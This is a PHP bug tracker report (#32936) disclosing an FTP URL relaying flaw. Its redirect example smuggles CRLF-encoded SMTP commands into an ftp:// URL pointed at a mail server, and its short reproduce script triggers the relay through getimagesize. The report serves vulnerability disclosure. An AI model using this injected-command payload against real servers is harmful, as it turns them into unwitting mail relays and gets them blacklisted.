#32936 [NEW]: FTP URL relaying vulnerability

From: herbert dot groot dot jebbink at gmail dot com Operating system: Linux PHP version: 5.0.4 PHP Bug Type: FTP related Bug description: FTP URL relaying vulnerability Description: ------------ See http://dsbl.org/relay-methods#FTPURL for more details. A exploit can be found at http://dividedsky.net/gfx/badges This URL gives the next result. HTTP/1.x 302 Found Date: Tue, 03 May 2005 21:43:41 GMT Server: Apache/2.0.53 (Debian GNU/Linux) PHP/4.3.10-10 Content-Location: badges.php Vary: negotiate TCN: choice X-Powered-By: PHP/4.3.10-10 Location: ftp://foo%0D%0AMAIL%20FROM%3A&lt;&gt;%0D%0ARCPT%20TO%3A&lt;listme%40listme.dsbl.org&gt;%0D%0ADATA%0D%0ASubject%3A%20DSBL%20Submission%0D%0ATo%3A%20listme%40listme.dsbl.org%0D%0A%0D%0ADSBL%20LISTME%3A%20ftp-url%20%5B82.197.205.88%5D%3A80%0D%0AVv%2FcqZoUAlAyMb9O2R+Xu0YSwQNRN5DL%0D%0Adividedsky.net%20website%20hit%0D%0ADSBL%20END%0D%0A.%0D%0A:bar@mx.listme.dsbl.org:25/ Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=ISO-8859-1 Reproduce code: --------------- <?php // DO NOT RUN THIS CODE // YOUR SERVER WILL BE LISTED ON DSBL.ORG // RESULTING IN POSSIBLE REJECTS OF YOUR EMAILS $check = getimagesize('http://dividedsky.net/gfx/badges') ; ?> -- Edit bug report at http://bugs.php.net/?id=32936&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=32936&r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=32936&r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=32936&r=trysnapshot51 Fixed in CVS: http://bugs.php.net/fix.php?id=32936&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=32936&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=32936&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=32936&r=needscript Try newer version: http://bugs.php.net/fix.php?id=32936&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=32936&r=support Expected behavior: http://bugs.php.net/fix.php?id=32936&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=32936&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=32936&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=32936&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=32936&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=32936&r=dst IIS Stability: http://bugs.php.net/fix.php?id=32936&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=32936&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=32936&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=32936&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=32936&r=mysqlcfg